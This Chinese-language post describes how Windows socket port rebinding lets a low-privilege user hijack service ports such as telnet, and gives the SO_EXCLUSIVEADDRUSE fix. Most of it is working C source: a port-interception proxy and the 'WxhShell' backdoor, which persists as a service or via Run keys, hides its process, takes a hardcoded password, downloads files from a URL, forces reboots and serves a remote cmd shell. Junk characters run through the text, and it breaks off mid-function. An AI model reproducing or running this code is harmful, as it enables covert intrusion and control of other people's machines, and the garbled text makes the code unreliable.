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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (Xd8'-G$m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fc~G*Gz~Z| m=dNJF saddr.sin_family = AF_INET; !}(B=- 9`tK9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
G 3Z"U D)d]o& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sg2;"E@ i}-uK,^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AI|vL4*Xd "4N&T# 这意味着什么?意味着可以进行如下的攻击: 1[%3kY-h smP4KC"I(d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *_(X$qfoW &@0~]\,D7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n5:uG'L\ 5S~ H[>A" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z$~x 2< F9K%f&0 a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 xye-Z\-t g6GkA.!X$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %~u]|q<{ ^P)f]GQx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D|-]<r1" L5&M@YTH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1-2hh) n(:<pz #include mUYRioNj #include ZT0\V
]!B #include HI.*xkBXl& #include %B s. XW, DWORD WINAPI ClientThread(LPVOID lpParam); 2~4:rEPJ: int main() AZj&;!} { C/kf?:j WORD wVersionRequested; ~iL^KeAp
DWORD ret; uo9#(6 WSADATA wsaData; Q]ersA8 V> BOOL val; |Y9>kXM l SOCKADDR_IN saddr; i'IT,jz! SOCKADDR_IN scaddr; slQn int err; c_J9CKqc SOCKET s; FuhmLm'p SOCKET sc; 0=Z[6Q@: int caddsize; YF%gs{ HANDLE mt; T &ZQie/ DWORD tid; dWAt#xII wVersionRequested = MAKEWORD( 2, 2 ); kf,
&t err = WSAStartup( wVersionRequested, &wsaData ); Iy<>-e"| if ( err != 0 ) { >jm(2P(R
printf("error!WSAStartup failed!\n"); 8wU$kK return -1; p.DQ|? } >)>f~ > saddr.sin_family = AF_INET; gq=t7b *1|7%*!8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ACszx\[K3 ,06Sm]4L, saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'Y38VOI% saddr.sin_port = htons(23); ]C_+u_9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'VDWJTia { E~!$&9\ printf("error!socket failed!\n"); l_I)d7 return -1; \J'}CX*aQ } ,f
}$FZ val = TRUE; ?nU<cx h //SO_REUSEADDR选项就是可以实现端口重绑定的 n]%-2`}( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |[\;.gT K { N /4E
~^2 printf("error!setsockopt failed!\n"); 2+1ybOwb return -1; V9c.(QY|f } Myq8`/_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DT-VxF6 h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `4Yo-@iVP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s9- qR_ ejN/U{)jK' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u`bD`kfT> { 'eM0i[E+` ret=GetLastError(); JEUU~L; printf("error!bind failed!\n"); A5<t> 6Y return -1; _CwTe=K} } c=!>m listen(s,2); 9&+]YYCS- while(1) K<S3gb?0 { n`Q@<op caddsize = sizeof(scaddr); K;F1'5+=D //接受连接请求 01cBAu
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q\Ek U.[I if(sc!=INVALID_SOCKET) /%@;t@BK4 { >eJ<-3L; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `DM%a~^yg if(mt==NULL) -/f$s1 { *+M#D^qo printf("Thread Creat Failed!\n"); {j2V k)\[i break; mLCDN1UO{ } }b_Ob } U^m#!hp CloseHandle(mt); [WwoGg*)mn } 'l*X?ccKy closesocket(s); H& |/|\8F WSACleanup(); \ .xS return 0; v~$V } (W1$+X DWORD WINAPI ClientThread(LPVOID lpParam) ">V1II
7 { )[rVg/m SOCKET ss = (SOCKET)lpParam; vsGKCrLwh SOCKET sc; Al>d
21U unsigned char buf[4096]; qBEp |V SOCKADDR_IN saddr; Tzq@ic#!B long num; +nYFLe DWORD val; d$!Q6ux; DWORD ret; g=Xf&}&=x //如果是隐藏端口应用的话,可以在此处加一些判断 ~\":o:qyc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 {>>X3I saddr.sin_family = AF_INET; 3?Pg
;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zPt<b!q saddr.sin_port = htons(23); b3A0o* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R1];P*>%gZ { xo>0j# printf("error!socket failed!\n"); ]#:WL)@ return -1; mxNd_{n } K%q5:9m val = 100; rc_m{.b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6tKrR{3#A { QLqtE;;)JK ret = GetLastError(); ?=1eHnP!R return -1; qb>ULP0 } r:*G{m- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ON2o^-%= { H|%J" ret = GetLastError(); {npm9w<; return -1; :=Olp;+_ } *,\v|]fc if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B+W7zv { oE 'P printf("error!socket connect failed!\n"); 10SI&O closesocket(sc); ?I+L closesocket(ss); 8dE0y P return -1; qTJhYxm } (&}[2pb! while(1) )Q 2IYCj{ { gN/<g8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C;W@OS-; //如果是嗅探内容的话,可以再此处进行内容分析和记录 OBi(]l}^O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YR?Y:?( num = recv(ss,buf,4096,0); T$;S if(num>0) ';C'9k<P: send(sc,buf,num,0); gk6f_0?X' else if(num==0) 1!z{{H;W break; 'Lu<2=a~ num = recv(sc,buf,4096,0); eiMP: if(num>0) *yBVZD|?H send(ss,buf,num,0); %8*:VR else if(num==0) z\ZnxZ@ break; D Y2*B"^ } /VYT]( closesocket(ss); "&6vFm r closesocket(sc); ^/C\:hw return 0 ; eF+F"|1h } 'f( CN3.! 9nFL70 eHr0], ========================================================== N/tcW E)-;sFz 下边附上一个代码,,WXhSHELL 7zu\tCWb ]8A*uyi ========================================================== P< OH{l ,,Qg"C #include "stdafx.h" s= %3`3Fo KqI:g*H'x7 #include <stdio.h> w6BBu0,KC #include <string.h> D{(}&8a9 #include <windows.h> E ;Z(v #include <winsock2.h> +|/0sPW( #include <winsvc.h> M%E<]H2;S #include <urlmon.h> M<-Q8a~ ;,77|]<XE #pragma comment (lib, "Ws2_32.lib") Oiib2Ov #pragma comment (lib, "urlmon.lib") <K CI@ .W{CJh #define MAX_USER 100 // 最大客户端连接数 QAkK5,`vV. #define BUF_SOCK 200 // sock buffer *w0!C:mL& #define KEY_BUFF 255 // 输入 buffer +[76 _EXy ]IV{;{E) #define REBOOT 0 // 重启 wAHuPQ&_Q #define SHUTDOWN 1 // 关机 JSL&`
` }#ink4dK: #define DEF_PORT 5000 // 监听端口 t3)6R(JC lOm01&^"E #define REG_LEN 16 // 注册表键长度 H_&to3b( #define SVC_LEN 80 // NT服务名长度 MG?,,8s O m)A:w.o // 从dll定义API x?L0R{?WW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gmVN(K}SR5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a2P)@R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NjIPHM$g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =Kj{wA
O URb8[~dR: // wxhshell配置信息 G_+/ e]P struct WSCFG { B_[efM<R$ int ws_port; // 监听端口 hO"!q;<eS char ws_passstr[REG_LEN]; // 口令 pS$9mzY int ws_autoins; // 安装标记, 1=yes 0=no ,C,nNaW char ws_regname[REG_LEN]; // 注册表键名 riW9l6s' char ws_svcname[REG_LEN]; // 服务名 J _rrc;F char ws_svcdisp[SVC_LEN]; // 服务显示名 }ny7LQ char ws_svcdesc[SVC_LEN]; // 服务描述信息 #B\s'j[A" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2"D4q (@ int ws_downexe; // 下载执行标记, 1=yes 0=no -,yp?< char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" toGiG|L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t4oD> =,92 rl}<&aPH }; KKC%!Xy F!z ^0+H( // default Wxhshell configuration 2E1`r@L struct WSCFG wscfg={DEF_PORT, f2e;N[D "xuhuanlingzhe", D$>!vD' 1, t=B1yvE" "Wxhshell", |%|03}Q "Wxhshell", ^6 wWv&G[8 "WxhShell Service", sU>IETo "Wrsky Windows CmdShell Service", P*KIk~J "Please Input Your Password: ", t+v%%N_ 1, NgTB4I8P " http://www.wrsky.com/wxhshell.exe",
qNJc*@s "Wxhshell.exe" lp(2"$nQ }; '~Y@HRVL@| B@*b 9 // 消息定义模块 kWW2N0~$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -=5~h char *msg_ws_prompt="\n\r? for help\n\r#>"; ].Yz
=: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ),yar9C char *msg_ws_ext="\n\rExit."; Erw1y,mF char *msg_ws_end="\n\rQuit."; &dtst?? char *msg_ws_boot="\n\rReboot..."; &|x7T<,) char *msg_ws_poff="\n\rShutdown..."; \Y!#Y#c char *msg_ws_down="\n\rSave to "; cF
5|Pf xf&[QG+Ef char *msg_ws_err="\n\rErr!"; Mp/l*"( char *msg_ws_ok="\n\rOK!"; X,G<D} NK qIx char ExeFile[MAX_PATH]; 4s7
RB int nUser = 0; pg%(6dqK4 HANDLE handles[MAX_USER]; j!agD_J int OsIsNt; N>(w+h+ glLVT
i SERVICE_STATUS serviceStatus; W{-g?)Tou SERVICE_STATUS_HANDLE hServiceStatusHandle; lqfTF U)G.Bst // 函数声明 e*Wk;D& int Install(void); b-
- tl@H int Uninstall(void); V;ea Q int DownloadFile(char *sURL, SOCKET wsh); Il
[~ int Boot(int flag); @eJ8wf] void HideProc(void); a,Pw2Gcid int GetOsVer(void); H$Kc~#= int Wxhshell(SOCKET wsl); oMN<jAU. void TalkWithClient(void *cs); v#x`c_ int CmdShell(SOCKET sock); n~UI47 int StartFromService(void); wH?)ZL int StartWxhshell(LPSTR lpCmdLine); + ,Krq 3P l/={aF7+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D^4nT,&8 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ) (YNNu l7g'z'G // 数据结构和表定义 ~vA{I%z5~ SERVICE_TABLE_ENTRY DispatchTable[] = -gvfz&Lz { ?#w} S% {wscfg.ws_svcname, NTServiceMain}, ktrIi5B {NULL, NULL} Xr
<H^X }; l_}d Q&R u9~5U9]O%6 // 自我安装 p{5m5x int Install(void) t8-P'3,Q$ { S46aUkW. char svExeFile[MAX_PATH]; O[VY|.MEk HKEY key; O&<p
8 strcpy(svExeFile,ExeFile); ]L~NYe9 {_N9<i{T // 如果是win9x系统,修改注册表设为自启动 wPM&N@Pf if(!OsIsNt) { s)- ;74( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wj6u,+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hk*1Wrs* RegCloseKey(key); e' M&Eh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Imv#7{ndq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @$jV"Y RegCloseKey(key); cTGd< return 0; %g@?.YxjT } 7
0?iZIK _ } WnG2\(U } qm$(_]R~` else { $A?9U}V#^ ,jRAVt+{N // 如果是NT以上系统,安装为系统服务 nsI+04[F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mw0>p5+ cy if (schSCManager!=0) o*)Sg6Yk { 8GP17j SC_HANDLE schService = CreateService $~1vXe ( p?f\/ schSCManager, bVzi^R" wscfg.ws_svcname, }O*`I( wscfg.ws_svcdisp, @?<[//1 SERVICE_ALL_ACCESS, T)gulP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^7yt> SERVICE_AUTO_START, 3`cA!ZVQ SERVICE_ERROR_NORMAL, GCJ[x n(_ svExeFile, srf}+>u& NULL, u0L-xC$L NULL, YTa
g|If NULL, ^($'l)I NULL, d9$RmCHe} NULL J[<Zy^"Y; ); jTR?!Mt0 if (schService!=0) D#LV&4e>.E { YJv$,Z&;HO CloseServiceHandle(schService); mi] WZlg$ CloseServiceHandle(schSCManager); Mq$K[]F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ULAr! strcat(svExeFile,wscfg.ws_svcname); jn5xYKv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0FOB5eBR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ! $$>D" RegCloseKey(key); sm-[=d%@L return 0; 83c2y;|8 } QP%_2m>yhl } r+ bGZ CloseServiceHandle(schSCManager); M?lh1Yu" } }R}+8 } #Kb /tOp1 8)0]cX return 1; 0:v!' } n.+'9Fj wS}c\!@<, // 自我卸载 o^/
#i`) int Uninstall(void) | @AXW { X6cn8ak3 HKEY key; ,Iyc0 .j:,WF<"l5 if(!OsIsNt) { FPY k`D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tkctwjD RegDeleteValue(key,wscfg.ws_regname); /Q3>w -h RegCloseKey(key); ~W21%T+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -UkK$wP5 RegDeleteValue(key,wscfg.ws_regname); c;kU|_ RegCloseKey(key); m,Y/ke\ return 0; `0NU
c)` } /u$'=!<b; } ==[(Mn,%d } J|BElBY else { ^^V3nT2rR3 4<-Kd~uL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eS!]..%y if (schSCManager!=0) 6o^>q&e}% { -{0Pq.v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |E >h*Y if (schService!=0) ,4H? + |! { WhW}ZS'r if(DeleteService(schService)!=0) { bJ_rU35s> CloseServiceHandle(schService); `a&L CloseServiceHandle(schSCManager); Be|! S_Y P return 0; 2G~{x7/[@ } 2V@5:tf CloseServiceHandle(schService); I:jIChT } /f[Ek5/-0 CloseServiceHandle(schSCManager); 3wv@wqx } 0ZjT.Ep } iL;V5|(sb ]W?cy return 1; ]Uwp\2Bc } "IU}>y>J {P6Bfh7CZ // 从指定url下载文件 :Tpf8 int DownloadFile(char *sURL, SOCKET wsh) z[f]mU { *W8n8qG%T HRESULT hr; ZhY{,sy?QO char seps[]= "/"; 0i\>(o char *token; 5}G_2<G char *file; Z)|~ char myURL[MAX_PATH]; aLg,-@ char myFILE[MAX_PATH]; 4C`RxQJM iTinZ!Ut strcpy(myURL,sURL); fJ/INL token=strtok(myURL,seps); j9k:!|(2' while(token!=NULL) 9Vm
aB { L~5f*LE$1 file=token; gg`{kN^r.a token=strtok(NULL,seps); d7kE}{, } /
<(|4e ~3bV~H#~m GetCurrentDirectory(MAX_PATH,myFILE); {Z/iYHv~#c strcat(myFILE, "\\"); Xgx/ubca0 strcat(myFILE, file); 1e[?}q]* send(wsh,myFILE,strlen(myFILE),0); x~5,v5R^] send(wsh,"...",3,0); ^P9mJ: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =u2~=t=LV if(hr==S_OK) |>(Vo@ return 0; 9\Gk)0 else eI
( S)q return 1; 2-'_Nwkl* ug]2wftlQ } fR[8O\U~ J~KO#` // 系统电源模块 c$1u int Boot(int flag) JAHg_! { U1:m=!S;x HANDLE hToken; WuE]pm]c TOKEN_PRIVILEGES tkp; &n| <NF |y7TYjg6 if(OsIsNt) { M<Bo<,!ua OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p^Ey6,!8]D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m u9,vH tkp.PrivilegeCount = 1; fL|9/sojz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yr+QV:oVA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zmQQ/7K if(flag==REBOOT) { 8(n>99VVK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'ij+MU1 return 0; \Yj_U'2"i } <p<6!tdO else {
#om Gj& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M%:\ ry4: return 0; yreH/$Ou8 } 0 @#Jz#? } K_+M?ap_ else { iY`[dsT if(flag==REBOOT) { #q:j~4)h if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eY`z\I return 0; 7a_8007$l } 9%kO%j,3 else { U`)
";WN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s>L-0vG return 0; .~I:Hcf/ } iJh{,0))g } EQoK\.;
G~ IV&5a]j return 1; 6 [bQ'Ir^8 } q !}~c M%jR`qVFg. // win9x进程隐藏模块 :
HU|BJ> void HideProc(void) M.SF}U { -AL^ 'xuxMav6m HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V,zFHXO if ( hKernel != NULL )
*pO`sC> { 9[~.{{Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A~{vja0? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tHqa% FreeLibrary(hKernel); dM}c-=w` } uYO$gRem q+qF;7dN@ return; t0<RtIh9e } ?1|\(W# H9;IA> // 获取操作系统版本 M!hD`5.3 int GetOsVer(void) \u6.*w5TI { z2R?GQ5 A OSVERSIONINFO winfo; *k&V;?x|wt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e~he#o[%a GetVersionEx(&winfo); Q4Wz5n1yp7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HOPl0fY$L return 1; 6%9 kc+
9 else Rc93Fb-Zp return 0; u>] )q7s } oG hMO s,mt%^x[ // 客户端句柄模块 ,9KnC=_y int Wxhshell(SOCKET wsl) $qpW?<>,0 { lQgavP W! SOCKET wsh; 2.{zfr struct sockaddr_in client; 1#|lt\T DWORD myID; O|Y`:xvc J}-e9vK-# while(nUser<MAX_USER) 4F -<j! { p")"t`k7 int nSize=sizeof(client); UZ-pN_!Z: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KAVkYL0 if(wsh==INVALID_SOCKET) return 1; ~4#D
G^5 M`iE'x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hZ|0<u if(handles[nUser]==0) +s7w@ closesocket(wsh); .f[z_%ar else Gf!c nUser++; I~HA
ad,k } Yp3 y%n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Te3 ?z !u:;Ew return 0; '19? } Tqs|2at<t J}bLp
Z // 关闭 socket i}f" 'KW void CloseIt(SOCKET wsh) O#{`Fj` { GAs.?JHd closesocket(wsh); svt3gkR0 nUser--; [tC=P&< ExitThread(0); 2h@&yW2j } A*|\E:fo 3 l
j^I // 客户端请求句柄 EIpz-"S void TalkWithClient(void *cs) EZp >Cf7 { @d0~'_vtB JCB3 BZg7& SOCKET wsh=(SOCKET)cs; _$vbb#QXZG char pwd[SVC_LEN]; T'Jl,)" char cmd[KEY_BUFF]; =RM]/O9 char chr[1]; IQ$ 6}. int i,j; wZ`*C
mr {EVy.F while (nUser < MAX_USER) { 4kK_S.& V~-tp^ if(wscfg.ws_passstr) { ?oV|.LM:W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &tiJ=;R1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &-My[t //ZeroMemory(pwd,KEY_BUFF); [s]
ZT i=0; A^|~>9 while(i<SVC_LEN) { !X[7m
b`GKGqb J // 设置超时 k O.iJcZg fd_set FdRead; f"4w@X2F struct timeval TimeOut; m3(p7Z^Bq FD_ZERO(&FdRead); NE &{_i! FD_SET(wsh,&FdRead); #7YJ87<E TimeOut.tv_sec=8;
# xX TimeOut.tv_usec=0; puh-\Q/P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !@arPN$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tu;Pm4q7 HqyAo]{GN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JZ>
(h pwd =chr[0]; \nTV;@F if(chr[0]==0xd || chr[0]==0xa) { YKOj pwd=0; SUvrOl
break; yKz%-6cpSl } ]T.+(\I i++; Zv8GrkK } ,nV4%Aa G2sj<F=AV // 如果是非法用户,关闭 socket z$ {[Z= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Le/}xST@ }
%z~kHL \zDs3Hp send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Z:qU{[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0xeY0!ux d*U<Ww^q while(1) { Ue>{n{H"y #D ]CuSi ZeroMemory(cmd,KEY_BUFF); ,.|/B^jV Q/h-Khmz // 自动支持客户端 telnet标准 +A$>F@u j=0; F]0
qt$GO while(j<KEY_BUFF) { o?IrDQ2gmh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Czy}~;_Ay cmd[j]=chr[0]; yGV>22vv
M if(chr[0]==0xa || chr[0]==0xd) { gr@Ril^ cmd[j]=0; b9v<Jk break; x2OAkkH\]i } /?S^#q>m% j++; QTN'yd?WE } f'M([gn^_ `UqX`MFz // 下载文件 rP!GS
_RG if(strstr(cmd,"http://")) { 5IF$M2j send(wsh,msg_ws_down,strlen(msg_ws_down),0); Krl9O]H/[ if(DownloadFile(cmd,wsh)) *!dA/sid send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXbA$c else Tv
5J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ 1m}lXk } T)ISDK4>S" else { 9E[==2TO !?|xeQ} switch(cmd[0]) { LPca+o|f |TR
+Wn // 帮助 @:>gRD case '?': { ~zWLqnS} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hp2$[p6O break; OF-VVIS } {:Kr't<XzF // 安装 ?|\wJrM ] case 'i': { B`jq"[w]- if(Install()) 1i)3!fH0:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jz P0D' else &H+n0v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' d?6 L break; (qz)3Fa } 7QoMroR // 卸载 \F""G,AWq{ case 'r': { U;!J(Us if(Uninstall()) R-wz+j# send(wsh,msg_ws_err,strlen(msg_ws_err),0); !DF5NAE else 'P[#.9E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j"VDqDDz break; "{Y6.)x } 8N3y(y0 // 显示 wxhshell 所在路径 rI6+St case 'p': { p(Osz7K char svExeFile[MAX_PATH]; <z>oY2% strcpy(svExeFile,"\n\r"); Z aS29} strcat(svExeFile,ExeFile); $ \o)-3 send(wsh,svExeFile,strlen(svExeFile),0); %}XyzGq{ break; N0JdU4' } Tf?`_jL // 重启 <td]k%*+ case 'b': { :fq4oHA# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ps[#z@5{x if(Boot(REBOOT)) k]`-Y E send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.:JT31>1 else { =);@<Jp closesocket(wsh); )OVa7[-T ExitThread(0); #3'M>SaoH } x($Djx break; uU^iY$w } Xil;`8h // 关机 Wcm8,?* case 'd': { g-]~+7LL send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *-{|m1P if(Boot(SHUTDOWN)) mZjpPlJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); xtLP4VL else { x;Slv(|M closesocket(wsh); <^_crJONom ExitThread(0); TY'61xWi } IOY7w"|LW break; /SQ/$`1{ } KC9e{ // 获取shell ()F{kM8 case 's': { 1xkrhqq CmdShell(wsh); ZmNNR 1%/ closesocket(wsh); p(8 @ ExitThread(0); 4z9lk^#"X break; M]/DKo } a ~W // 退出 U%[ye0@: case 'x': { lBAu@M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m]vV.pwv CloseIt(wsh); fFWi
3. break; ]^>:)q } = // 离开 J_-fs#[x case 'q': { E-FR
w send(wsh,msg_ws_end,strlen(msg_ws_end),0); a7453s closesocket(wsh); 4l68+ WSACleanup(); M}f(-,9 exit(1); CjP<'0gT break; r@bh,U$ } T#*H } 22U`1AD3U } S6a\KtVa (Cfb8\~ // 提示信息 2CneRKQy if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i. (Af$ } 5b*knN> } Zj'%c2U_ 0\X<vrW return; i1-%#YYF( } /]MelW %Ta"H3ZW // shell模块句柄 /kg#i&bP~ int CmdShell(SOCKET sock) u*rP8GuS { '[%#70* STARTUPINFO si; Ke?,AWfG ZeroMemory(&si,sizeof(si)); w^$C\bCbh si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j%^4
1 y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y?3tf0t/ PROCESS_INFORMATION ProcessInfo; hpPacN char cmdline[]="cmd"; y$SUYG'v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #jW=K&; return 0; TjYHoL5 } y_=y% #kq!{5, // 自身启动模式 6$'*MpYF4 int StartFromService(void) 5)eM0,: { v$Hz)J.01 typedef struct zyUS$g]& { %A=/(%T> DWORD ExitStatus; 6=;(~k&x9: DWORD PebBaseAddress; $sE=[j'v DWORD AffinityMask; H"6x/&s.=k DWORD BasePriority; ]a4+] vLK ULONG UniqueProcessId; yNP4Ey ULONG InheritedFromUniqueProcessId; f:<BUqa } PROCESS_BASIC_INFORMATION; f17E2^(I(} }^ ,D~b-nB PROCNTQSIP NtQueryInformationProcess; 31a lQ\TH R_KD Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dS4z Oz" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )H{1Xjh- 3IlVSR^py HANDLE hProcess; ,aC}0t PROCESS_BASIC_INFORMATION pbi; :TG;W,`.V Ui`{U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j&'6|s{ if(NULL == hInst ) return 0; Zd>sdS`#r /pPH D] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 